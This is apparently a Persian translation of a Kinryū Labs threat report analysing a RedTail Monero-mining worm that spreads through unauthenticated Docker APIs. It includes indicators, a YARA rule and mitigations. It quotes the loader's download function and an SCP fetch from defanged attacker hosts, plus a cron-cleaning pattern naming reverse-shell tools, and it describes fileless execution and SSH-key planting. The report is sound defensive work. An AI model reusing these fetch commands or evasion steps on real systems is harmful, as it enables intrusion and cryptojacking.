این صفحه یک ترجمه است. نسخهٔ انگلیسی متن معتبر است. خواندن نسخهٔ انگلیسی

malware · cryptomining · redtail · docker · linux · honeypot · worm

درون یک کارزار RedTail: خودتکثیری از طریق Docker APIهای در معرض

هانی‌پات‌های Kinryū Labs ماینر رمزارز RedTail را در حال انتشار از طریق Docker Engine APIهای بدون احراز هویت و کلیدهای SSH کاشته‌شده ثبت کردند. این نوشتار یک نمونه کنونی و کاملاً ضبط‌شده را مستند می‌کند، همراه با لودر، اسکریپت حذف رقبا، ماینر و شاخص‌های زنده.

نوشتهٔ Davis Zheng·

TLP:CLEAR. آزاد برای انتشار عمومی. ثبت‌شده توسط شبکه حسگر هانی‌پات Kinryū Labs. شاخص‌های زیر defang شده‌اند.

خلاصه مدیریتی

  • 2375Docker API در معرض، مسیر ورود
  • 4معماری پردازنده هدف
  • ~21sکل زمان نفوذ عامل تهدید
  • کرم‌وارکلاینت SSH تعبیه‌شده در ماینر

در اوایل تا اواسط ژوئن 2026 شبکه هانی‌پات ما کرمی را ثبت کرد که از طریق Docker Engine APIهای در معرض اینترنت روی TCP/2375 منتشر می‌شود و RedTail را مستقر می‌کند؛ ماینر مونروی مبتنی بر XMRig که از اواخر 2023 در جریان بوده است. عامل تهدید کانتینرهای در حال اجرا را از طریق Docker API باز فهرست می‌کند، در هر کدام دستور اجرا می‌کند، یک کلید خصوصی SSH برای پایداری و حرکت جانبی می‌کارد و سپس یک لودر چندمعماری را پایین می‌کشد. لودر ماینری را نصب می‌کند که کلاینت SSH خود را برای انتشار و یک شنودگر libpcap را برای یافتن اهداف تازه همراه دارد.

پی‌لود بی‌تردید RedTail است. RedTail بیش از همه به خاطر ورود از راه اکسپلویت برنامه‌های وب (PAN-OS، Ivanti، Log4Shell، PHP-CGI، TP-Link) شناخته می‌شود و استفاده‌اش از Docker APIهای در معرض نیز گزارش‌های پیشین دارد. این نوشتار یک نمونه کنونی و کاملاً ضبط‌شده از همان تحویل مبتنی بر Docker API را می‌افزاید: C2 و شاخص‌های زنده، کاشت کلید SSH که به میزبان امکان خودتکثیری می‌دهد، و اسکریپت حذف رقبا که گزارش‌های پیشین به آن اشاره کرده بودند بی‌آنکه بازیابی‌اش کنند.

ماینر یک پیکربندی زمان اجرای رمزگذاری‌شده دارد و هیچ کیف پولی در آن جاسازی نشده است، بنابراین نمی‌توانیم یک آدرس مونرو از نمونه بیرون بکشیم. بازیابی آن نیازمند اجرای زنده همراه با ضبط ترافیک شبکه است.

یافته‌های کلیدی
  • پی‌لود RedTail است (اطمینان بالا). رشته libredtail evbuffer_tls، آرتیفکت .redtail، مقدار جایگزین redtail در لودر، و ساخت با پیکربندی رمزگذاری‌شده و بدون کیف پول، همگی با نسخه‌های پس از 2024 این خانواده هم‌خوانی دارند.
  • این کارزار کرم‌وار است (اطمینان بالا). ابزار کار با Docker API، کلید کاشته‌شده و کلاینت SSH داخلی ماینر همان چیزی است که یک میزبان تازه‌آلوده برای یافتن قربانی بعدی به‌تنهایی لازم دارد.
  • انگیزه گرداننده مالی است (اطمینان متوسط). سرقت اعتبارنامه و شنود به نظر می‌رسد در خدمت انتشار باشد، نه یک هدف جداگانه سرقت داده.
  • بردار Docker API برای RedTail گزارش‌های پیشین دارد و هنوز هم خوب کار می‌کند. یک سوکت در معرض روی TCP/2375 به عامل تهدید اجرای کد در سطح root درون هر کانتینر آن میزبان را می‌دهد.

زنجیره حمله

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp dlr@217.60.195[.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

مرحله 1: دسترسی اولیه از راه Docker API

عامل تهدید سراغ نمونه‌های Docker Engine می‌رود که REST API بدون احراز هویت را روی TCP/2375 در معرض گذاشته‌اند. کل توالی کار عامل تهدید حدود 21 ثانیه طول کشید:

  1. GET /version و GET /containers/json برای انگشت‌نگاری موتور و فهرست کردن کانتینرها.
  2. POST /containers/{id}/exec و سپس POST /exec/{id}/start علیه هر کانتینر در حال اجرا.
  3. یک پی‌لود پوسته درون‌کانتینری که کلید SSH مهاجم را می‌نویسد و لودر را می‌گیرد.

همان گام آخر است که این را از یک ماینر یک‌باره به یک کرم تبدیل می‌کند. میزبانی که آلوده می‌شود و خودش هم Docker API را در معرض گذاشته باشد، همان روال فهرست‌کردن و exec را علیه دسته بعدی قربانیان اجرا خواهد کرد.

کلید SSH کاشته‌شده (پایداری و حرکت جانبی)

ویژگیمقدار
نوعکلید خصوصی OpenSSH ed25519
توضیحdlr@sftp
اثر انگشت SHA256 کلید عمومیSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
منبع دریافت (کانال SCP)dlr@217.60.195[.]113

ما کلید خصوصی را منتشر نمی‌کنیم. برای شکار آن از اثر انگشت بالا استفاده کنید: authorized_keys و ~/.ssh را در سراسر دارایی‌هایتان بررسی کنید.

مرحله 2: لودر /sh

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 نوع: اسکریپت پوسته POSIX

یک لودر کوچک و قابل حمل، و در عین حال دقیق.

نام فایل مخفی تصادفی. تابع get_random_string() یک نام حرفی-عددی 4 تا 35 کاراکتری می‌سازد و به ترتیب /dev/urandom، سپس openssl و سپس $RANDOM را امتحان می‌کند، و اگر همه اینها شکست بخورند به رشته ثابت redtail بازمی‌گردد. آن مقدار جایگزین نشانه‌ای کارآمد برای این خانواده است. ماینر با نام .<random> و یک نقطه ابتدایی می‌نشیند تا از دید ls ساده پنهان بماند. VirusTotal این نمونه را با یکی از همان نام‌ها، .mn6VTucEsFZY1PdSC2QAq، دارد.

تابع کمکی دانلود. تابع dlr() راستی‌آزمایی TLS را خاموش می‌کند، چون گواهی C2 خودامضا است، و از wget به curl بازمی‌گردد:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

آماده‌سازی با آگاهی از noexec. لودر /proc/mounts را می‌خواند، هر mount دارای noexec را کنار می‌گذارد و find / -user $(whoami) -perm -u=rwx را اجرا می‌کند تا جایی بیابد که هم بتواند بنویسد و هم اجرا کند. پیش از استفاده، هر نامزد را با یک dd یا truncate دو مگابایتی آزمایش نوشتن می‌کند، که زحمتی بیش از آن است که بیشتر لودرها به خود می‌دهند: روش معمول نوشتن در /tmp و امید بستن است.

پاک‌سازی رقبا. اسکریپت clean را می‌گیرد و اجرا می‌کند (dlr clean; chmod +x clean; sh clean; rm -rf clean) و سپس حذفش می‌کند. ما آن اسکریپت را هم به دست آوردیم و در ادامه تجزیه‌اش می‌کنیم. سراغ پایداری و فضای آماده‌سازی رقبا می‌رود و فرایندهای در حال اجرا را رها می‌کند.

جمع‌وجور کردن. پیش از نصب فایل تازه، .redtail و فایل .<random> پیشین را حذف می‌کند.

انتخاب معماری. یک سوییچ uname -mp ساخت مناسب را برمی‌گزیند:

تطابق ARCHدانلود می‌کند
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
ناشناختههر چهار مورد را امتحان و هر کدام را اجرا می‌کند

اجرا. ./.<random> $1، که $1 اصلی لودر را منتقل می‌کند و RedTail آن را به‌عنوان برچسب کارزار یا بردار در نظر می‌گیرد.

اسکریپت حذف رقبا با نام clean

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 نوع: اسکریپت Bash (795 بایت)

clean را در یک برخورد بعدی روی هانی‌پات‌ها ثبت کردیم. تمام کارش پاک کردن بدافزارهای دیگر از روی سامانه است تا RedTail آن را برای خود داشته باشد:

  • پاک‌سازی cron. برای هر crontab کاربری (/var/spool/cron/crontabs/*)، crontab سیستمی (/etc/crontab، /etc/crontabs)، دایرکتوری drop-in (/etc/cron.{hourly,daily,weekly,monthly,d}) و /etc/anacrontab، بیت immutable را با chattr -ia برمی‌دارد (بدافزار رقیب آن را برای محافظت از خطوط cron خود تنظیم می‌کند) و سپس هر خطی را که با یک الگوی بازآلودگی تطابق داشته باشد حذف می‌کند:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    این کار گهواره‌های دانلود و پوسته‌های معکوس گروه‌های دیگر را بیرون می‌کشد و در عین حال ورودی‌های مشروع cron را دست‌نخورده می‌گذارد.

  • کشتن یک رقیب مشخص. سرویس systemd با نام c3pool_miner را غیرفعال و متوقف می‌کند، که تیری مستقیم به سمت ماینر c3pool است.

  • پاک کردن فضای آماده‌سازی. /tmp، /var/tmp و /dev/shm را با rm -rf خالی می‌کند و پی‌لودهای رقبا و فضای موقتی مشترکشان را می‌زداید.

رها کردن فرایندهای در حال اجرا یک معامله است. کشتن گسترده، پردازنده را بی‌درنگ آزاد می‌کند اما دقیقاً همان نوع رویدادی است که یک میزبان تحت پایش برایش هشدار می‌دهد، در حالی که برداشتن خطوط cron و خالی کردن دایرکتوری‌های آماده‌سازی، گهواره بازآلودگی رقیب را حذف می‌کند، پس اخراج از ریبوتی که در غیر این صورت آن را خنثی می‌کرد جان به در می‌برد.

مرحله 3: ماینر RedTail (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b اندازه: 1,880,264 بایت (1.79 MB) قالب: ELF 64-bit LSB EXEC (لینک‌شده به‌صورت ایستا، non-PIE)، x86-64، نقطه ورود 0xaa9e18 بسته‌بند: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 مخرب، امتیاز جامعه −60، نخستین مشاهده حدود 2026-06-05 برچسب‌های تهدید: trojan.usblem26/abminer؛ خانواده‌های usblem26 / abminer / gen3

بسته‌بندی و ضدتحلیل

  • UPX 5.02 با هدر دست‌نخورده. upx -d آن را تمیز به یک ELF لینک‌شده ایستای حدوداً 5 مگابایتی باز می‌کند.
  • اجرای بدون فایل. بینش کد VirusTotal نشان می‌دهد که از memfd_create (فراخوان سیستمی 0x13f) برای اجرای پی‌لود مستقیماً از یک توصیف‌گر فایل حافظه‌ای ناشناس استفاده می‌کند، همراه با اجرای مجدد از /proc/self/exe و آماده‌سازی در /dev/shm. چیزی به دیسک نمی‌رسد، پس ضدویروس مبتنی بر دیسک هرگز فرصت دیدن پیدا نمی‌کند.
  • جعل نام فرایند (sets-process-name) تا میان فرایندهای عادی گم شود.
  • گریز از دیباگر (detect-debug-environment). گزارش‌های عمومی RedTail از خوددیباگی با ptrace و کشتن فعالانه GDB توسط باینری سخن می‌گویند.
  • نکته‌ای درباره ضدویروس میزبان. Microsoft Defender فایل ELF بسته‌بندی‌شده را به‌عنوان Trojan:Linux/Multiverze!rfn علامت می‌زند و خواندن آن از روی دیسک را مسدود می‌کند، پس تریاژ ایستا باید در یک سامانه ایزوله یا در حافظه انجام شود.

اجزای تأییدشده (از رشته‌های .rodata باز‌شده)

هسته استخراج XMRig

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail، پشته شبکه‌ای که هویت این خانواده را تعریف می‌کند

libredtail evbuffer_tls
Connection  keepalive  User-Agent

یک libevent سفارشی به‌علاوه کلاینت HTTP روی TLS. رشته libredtail evbuffer_tls همان چیزی است که RedTail را از یک ساخت معمولی XMRig جدا می‌کند.

کلاینت SSH تعبیه‌شده (حرکت جانبی و سرقت اعتبارنامه)

ssh-userauth   ssh-ed25519   sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com   ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

ماینر یک کلاینت SSH کامل را با خود دارد. همان موتوری است که پشت کاشت کلید dlr@sftp و انتشار قرار دارد. باینری ماینر سرقت اعتبارنامه و انتشار از راه SSH را خودش انجام می‌دهد. هیچ‌یک از این‌ها در دراپر نیست.

libpcap تعبیه‌شده (شنود شبکه)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

ضبط بسته روی میزبان، که با کشف محلی میزبان‌ها و اعتبارنامه‌ها جور درمی‌آید.

جدول‌های کدگذاری. هر دو الفبای Base64 استاندارد و امن برای URL دیده می‌شوند (...+/ و ...-_) که روال رمزگشایی پیکربندی از آنها استفاده می‌کند.

پیکربندی و شکاف انتساب

باینری باز‌شده را به‌دقت برای IPها، URLها، stratum، pool و الگوهای آدرس مونرو جست‌وجو کردیم. تنها استخرهای موجود در آن، استخرهای درون‌ساخت اهدای توسعه‌دهنده XMRig هستند (donate.ssl.xmrig.com، donate.v2.xmrig.com) که هر ساخت XMRig آنها را دارد و گرداننده کنترلی بر آنها ندارد. هیچ استخر، پراکسی یا کیف پول مهاجم به‌صورت متن ساده وجود ندارد.

این عمدی است و با مسیری که RedTail از 2024 به بعد پیموده هم‌خوان است. پیکربندی استخراج رمزگذاری شده و تنها در زمان اجرا در حافظه رمزگشایی می‌شود، و ساخت‌های اخیر اصلاً کیف پولی حمل نمی‌کنند و به‌جای آن به یک استخر خصوصی یا پراکسی استخر اشاره دارند. بنابراین:

  • نمی‌توانیم یک کیف پول مونرو از این نمونه بیرون بکشیم.
  • پراکسی استخر تنها از یک اجرای زنده همراه با سینک شبکه بیرون می‌آید (بخش روش‌شناسی را ببینید).

انتساب

این RedTail است، که با نام ماینر .redtail هم شناخته می‌شود؛ ماینر مونروی برگرفته از XMRig که نخستین بار حوالی اواخر 2023 و اوایل 2024 درباره‌اش نوشته شد. آنچه هم‌خوانی دارد:

  • رشته libredtail evbuffer_tls که منحصر به آن است.
  • آرتیفکت .redtail و مقدار جایگزین redtail در لودر.
  • ساخت با پیکربندی رمزگذاری‌شده و بدون کیف پول، لودر چندمعماری، اسکریپت رقیب‌زدای clean و سرقت اعتبارنامه SSH، که همگی خصوصیات شناخته‌شده RedTail هستند.

برای مقایسه، بردارهای تحویلی که پیش‌تر برای این خانواده ثبت شده‌اند عبارت‌اند از CVE-2024-3400 (PAN-OS)، CVE-2023-46805 و CVE-2024-21887 (Ivanti)، CVE-2021-44228 (Log4Shell)، CVE-2024-4577 (PHP-CGI) و CVE-2023-1389 (TP-Link). VirusTotal همچنین این نمونه را با CVE-2021-41773 (پیمایش مسیر تا RCE در Apache 2.4.49/2.4.50) و CVE-2015-2808 (RC4، «Bar Mitzvah») برچسب می‌زند.

استفاده RedTail از Docker APIهای در معرض گزارش‌های پیشین دارد، پس خود این بردار قدیمی است. آنچه در آن گزارش‌های پیشین نحیف بود، میانه زنجیره است و همین‌جاست که این ضبط می‌نشیند: اسکریپت clean که بازیابی شد نه استنتاج، هش‌های C2 و پی‌لود که در زمان جمع‌آوری زنده بودند، و کلید کاشته‌شده dlr@sftp که حلقه را به مرحله 1 بازمی‌بندد.

چشم‌انداز

گروه‌های ربایش رمزارز شیوه نفوذشان را بسیار بیشتر از پی‌لودشان تغییر می‌دهند، و لودر ماژولار RedTail تعویض یک روش ورود با روشی دیگر را آسان می‌کند. یک Docker API باز، تعویضی ارزان است. اکسپلویتی برای نگه‌داری وجود ندارد و چرخه وصله‌ای برای سبقت گرفتن در کار نیست، دسترسی‌ای که می‌دهد root درون هر کانتینر آن سامانه است، و عرضه پورت 2375 در معرض اینترنت ته نکشیده است. RedTail پیش‌تر هم اینجا بوده است.

به نظر ما محتمل است که گرداننده بردار Docker API را در کنار اکسپلویت‌های وب نگه دارد نه آنکه یکی را جای دیگری بگذارد، که صرفاً میزبان‌های در دسترس بیشتری به او می‌دهد. اگر کانتینر اجرا می‌کنید، یک Docker API در معرض را چنان در نظر بگیرید که گویی روی اینترنت عمومی نشسته است، چون عملاً همین‌طور است.

شاخص‌های نفوذ

شبکه

شاخصزمینه
14.46.136[.]77میزبان C2 / پی‌لود (HTTPS، خودامضا). سرویس‌دهی /sh، /clean، /x86_64، /i686، /aarch64، /arm7. خروجی ابری را بر پایه ASN فیلتر می‌کند.
hxxps://14.46.136[.]77/shنشانی لودر مرحله 2
hxxps://14.46.136[.]77/cleanاسکریپت حذف رقبا (پاک‌سازی cron / فضای آماده‌سازی)
217.60.195[.]113منبع کلید / پی‌لود از راه SCP (dlr@217.60.195[.]113)

فایل‌ها (SHA256 / MD5)

فایلSHA256MD5
sh (لودر)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (پاک‌سازی رقبا)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (ماینر)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

آرتیفکت‌های میزبان

شاخصزمینه
.redtailآرتیفکت ماینر / نشانگر آلودگی پیشین
.<random alnum> مثلاً .mn6VTucEsFZY1PdSC2QAqنام فایل مخفی ماینر (نقطه ابتدایی + رشته تصادفی)
توضیح کلید SSH با مقدار dlr@sftpکلید کاشته‌شده
اثر انگشت کلید عمومی SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgاثر انگشت کلید کاشته‌شده؛ در authorized_keys شکار کنید
فایل‌های آماده‌شده در /dev/shm، /var/tmp، /tmp یا هر دایرکتوری rwx قابل نوشتن برای کاربرمکان‌های آماده‌سازی

رفتاری

  • memfd_create (فراخوان سیستمی 0x13f) در حال اجرای یک ELF از یک توصیف‌گر فایل ناشناس.
  • فرایندی که /proc/mounts را می‌خواند و سپس find / -perm -u=rwx را اجرا می‌کند (آماده‌سازی با آگاهی از noexec).
  • جعل نام فرایند؛ گریز از دیباگر مبتنی بر ptrace.
  • ترافیک خروجی stratum+tcp:// / stratum+ssl:// به یک میزبان غیراستاندارد.
  • systemctl disable c3pool_miner و systemctl stop c3pool_miner (اخراج رقیب).
  • chattr -ia روی مسیرهای crontab و بلافاصله پس از آن حذف انبوه خطوط wget / curl / پوسته معکوس از cron.
  • rm -rf روی /tmp/*، /var/tmp/* و /dev/shm/* (پاک‌سازی فضای آماده‌سازی رقبا).

شناسایی

شناسایی در میزبان (منطق فرایند / EDR)

روی فرایندی هشدار دهید که به ترتیب:

  1. /proc/mounts را می‌خواند و سپس find / ... -perm -u=rwx ... را اجرا می‌کند، و
  2. فایلی با نام تصادفی و نقطه ابتدایی در دایرکتوری قابل نوشتن برای همه می‌نویسد، و
  3. memfd_create را فراخوانی می‌کند و سپس از توصیف‌گر فایل حاصل اجرا می‌کند.

هر کدام از این‌ها به‌تنهایی ضعیف است. این سه با هم سیگنالی قوی برای این لودر هستند.

قاعده پیشنهادی YARA (باینری باز‌شده)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

این قاعده با باینری باز‌شده از UPX تطابق می‌یابد. برای نمونه بسته‌بندی‌شده، روی امضای UPX، اندازه فایل (حدود 1.79 MB) و هش‌های VirusTotal بالا پیوت کنید.

شناسایی در شبکه

  • ترافیک خروجی به 14.46.136[.]77 و 217.60.195[.]113 را مسدود کنید و برایش هشدار بگذارید.
  • روی stratum+tcp / stratum+ssl به هر مقصد خارج از فهرست مجاز هشدار دهید.
  • روی درخواست GET از راه HTTP(S) به مسیرهای تک‌حرفی یا نام‌گذاری‌شده با معماری (/sh، /x86_64، /aarch64، /arm7) هشدار دهید.

کاهش مخاطره

  1. Docker API (2375/2376) را در معرض شبکه‌های غیرقابل‌اعتماد قرار ندهید. آن را به localhost یا یک سوکت محافظت‌شده مقید کنید و احراز هویت با گواهی کلاینت TLS را الزامی کنید. همان یک کنترل، گام دسترسی اولیه را یکسره می‌شکند.
  2. ~/.ssh/authorized_keys را در سراسر دارایی‌ها برای کلید dlr@sftp و اثر انگشتش ممیزی کنید.
  3. خروجی را فیلتر کنید و ترافیک stratum و IPهای C2 بالا را پایش کنید.
  4. هرجا می‌توانید /tmp، /var/tmp و /dev/shm را با noexec مانت کنید. این کار سطح دشواری را بالا می‌برد، هرچند این لودر از noexec آگاه است و دنبال دایرکتوری دیگری خواهد گشت که هم قابل نوشتن باشد و هم قابل اجرا.
  5. کانتینرها را سخت‌سازی کنید: قابلیت‌هایی را که لازم ندارید حذف کنید، از فایل‌سیستم ریشه فقط‌خواندنی استفاده کنید و اصل کمترین امتیاز را اجرا کنید تا یک exec به داخل، محیط اجرای قابل استفاده‌ای به مهاجم ندهد.

نگاشت MITRE ATT&CK

تاکتیکتکنیک
دسترسی اولیهT1190 Exploit Public-Facing Application (Docker API)
اجراT1609 Container Administration Command؛ T1059.004 Unix Shell
پایداریT1098.004 SSH Authorized Keys
گریز از دفاعT1027.002 Software Packing (UPX)؛ T1620 Reflective / Memory Code Loading (memfd_create)؛ T1564.001 Hidden Files؛ T1036.004 Masquerade Task or Process Name؛ T1622 Debugger Evasion؛ T1070.004 File Deletion
دسترسی به اعتبارنامهT1552.004 Private Keys؛ T1040 Network Sniffing
کشفT1046 Network Service Scanning؛ T1082 System Information Discovery؛ T1057 Process Discovery؛ T1018 Remote System Discovery
حرکت جانبیT1021.004 Remote Services: SSH؛ T1570 Lateral Tool Transfer
فرماندهی و کنترلT1071.001 Web Protocols؛ T1573 Encrypted Channel؛ T1105 Ingress Tool Transfer
تأثیرT1496 Resource Hijacking (استخراج رمزارز)

روش‌شناسی و یادداشت‌های تحلیلگر

  • مرحله 2 و مرحله 3 را از C2 زنده روی HTTPS برداشتیم. 14.46.136[.]77 برای فضای آدرس ارائه‌دهندگان بزرگ ابری تایم‌اوت می‌شود اما به بازه‌های خانگی سرویس می‌دهد، که یک فیلتر خروجی بر پایه ASN یا موقعیت جغرافیایی است و سندباکس‌های ابری خودکار را از کار می‌اندازد.
  • فایل ELF بسته‌بندی‌شده Microsoft Defender را فعال می‌کند (Trojan:Linux/Multiverze!rfn) و روی یک میزبان ویندوزی محافظت‌شده حتی از روی دیسک خوانده نمی‌شود، پس نخستین تریاژ در حافظه انجام شد؛ آرشیو درون یک فرایند Python باز شد بی‌آنکه ELF خام هرگز روی دیسک نوشته شود.
  • باز کردن بسته با upx -d در یک FLARE-VM ایزوله انجام شد. باینری باز‌شده را به‌صورت ایستا، از راه رشته‌ها و ساختار، و بدون اجرای آن تحلیل کردیم.
  • ماینر را اجرا نکردیم، بنابراین پراکسی استخر و پیکربندی مونرو که در زمان اجرا رمزگشایی می‌شوند در این گزارش نیستند.
  • کلید خصوصی مهاجم را از ضبط بازیابی کردیم و منتشرش نمی‌کنیم. تنها اثر انگشت کلید عمومی (بالا) در شاخص‌ها آمده است، که همان چیزی است که مدافعان برای شکار کلید کاشته‌شده dlr@sftp در authorized_keys لازم دارند.

پیگیری پیشنهادی (برای به دست آوردن شاخص پراکسی استخر)

برای رسیدن به پراکسی استخر، باینری باز‌شده را روی یک سامانه لینوکسی ایزوله (REMnux کار می‌کند) به‌صورت زنده اجرا کنید، با:

  • یک سینک شبکه (INetSim، یا fakedns به‌علاوه یک TCP catch-all) برای بیرون کشیدن اتصال،
  • tcpdump -i any -w redtail.pcap برای گرفتن CONNECT و ورود stratum، و
  • strace -f برای به چنگ آوردن پیکربندی متن‌ساده‌ای که ماینر درست پیش از نخستین connect() خود رمزگشایی می‌کند، که اغلب حتی وقتی TLS آن را روی سیم پنهان می‌کند خواندنی است.

آن میزبان و پورت، آخرین شاخص باقی‌مانده برای این کارزار هستند.

نمونه‌ها

نمونه‌ها (لودر، اسکریپت clean و ماینر بسته‌بندی‌شده) بنا به درخواست در اختیار سایر پژوهشگران و مدافعان قرار می‌گیرد. به contact@kinryu.sh ایمیل بزنید و کوتاه بنویسید که چه کسی هستید و برای چه به آنها نیاز دارید.

Sample
RedTail · 59c29436755b0778…
How to cite
Kinryū Labs (2026). درون یک کارزار RedTail: خودتکثیری از طریق Docker APIهای در معرض. https://kinryu.sh/fa/reports/redtail-cryptominer-exposed-docker-api/